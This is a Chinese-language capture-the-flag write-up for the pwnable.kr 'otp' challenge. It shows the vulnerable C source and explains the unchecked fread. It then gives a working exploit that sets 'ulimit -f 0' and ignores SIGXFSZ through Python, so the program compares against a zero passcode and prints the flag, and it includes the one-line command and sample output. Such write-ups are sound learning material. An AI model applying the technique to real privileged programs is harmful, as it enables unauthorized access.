远程拷贝文件到本地 scp -P 2222 otp@pwnable.kr:/home/otp/opt .
学习到的函数strtoul(argv[1], 0, 16)
str转化位long,以16进制方式。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>int main(int argc, char* argv[]){char fname[128];unsigned long long otp[2];if(argc!=2){printf("usage : ./otp [passcode]\n");return 0;}int fd = open("/dev/urandom", O_RDONLY);if(fd==-1) exit(-1);if(read(fd, otp, 16)!=16) exit(-1);close(fd);sprintf(fname, "/tmp/%llu", otp[0]);FILE* fp = fopen(fname, "w");if(fp==NULL){ exit(-1); }fwrite(&otp[1], 8, 1, fp);fclose(fp);printf("OTP generated.\n");unsigned long long passcode=0;FILE* fp2 = fopen(fname, "r");if(fp2==NULL){ exit(-1); }fread(&passcode, 8, 1, fp2);fclose(fp2);if(strtoul(argv[1], 0, 16) == passcode){printf("Congratz!\n");system("/bin/cat flag");}else{printf("OTP mismatch\n");}unlink(fname);return 0;
}
程序生成了一个随机数放入文件,然后读取这个文件然后让这个文件跟输入的password进行比较相同获取shell。
这里可以观察到fread(&passcode, 8, 1, fp2);
是没有验证是否成功的,如果能够打开文件成功但是读取文件中内容的时候失败就能获取shell。
接下来就是想办法控制完成这一条件
可以用ulimit
ulimit了解一下
在这里可以设置文件
otp@ubuntu:~$ ulimit -a
core file size (blocks, -c) 0
data seg size (kbytes, -d) 1500000
scheduling priority (-e) 0
file size (blocks, -f) 120000
pending signals (-i) 31753
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1500
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 300
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
otp@ubuntu:~$ ulimit -f 0
otp@ubuntu:~$ ulimit -a
core file size (blocks, -c) 0
data seg size (kbytes, -d) 1500000
scheduling priority (-e) 0
file size (blocks, -f) 0
pending signals (-i) 31753
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1500
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 300
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
设置shell所能创建的最大文件为0
但是这个时候执行的时候会报错
otp@ubuntu:~$ ./otp 0
File size limit exceeded
这个错误是作为信号进行传播的,linux系统中信号是可以被忽略的
import signal
signal.signal(signal.SIGXFSZ,signal.SIG_IGN)
可以在python的交互窗口中获取shell
>> import os,signal
>>> signal.signal(signal.SIGXFSZ,signal.SIG_IGN)
1
>>> os.system('./otp 0')
OTP generated.
Congratz!
Darn... I always forget to check the return value of fclose() :(
0
但是我们还可以直接用一条命令来输出
ulimit -f 0 && python -c "import os,signal; signal.signal(signal.SIGXFSZ,signal.SIG_IGN); os.system('./otp 0')"
分析:设置ulimit -f 0使fwrite(&otp[1], 8, 1, fp);
失败,创建的文件中数据写入失败读取出来的就是0
总结:liunx信号可以忽略,ulimit可以控制进程分佩的资源。
参考:https://nickcano.com/pwnables-write-ups-oct17/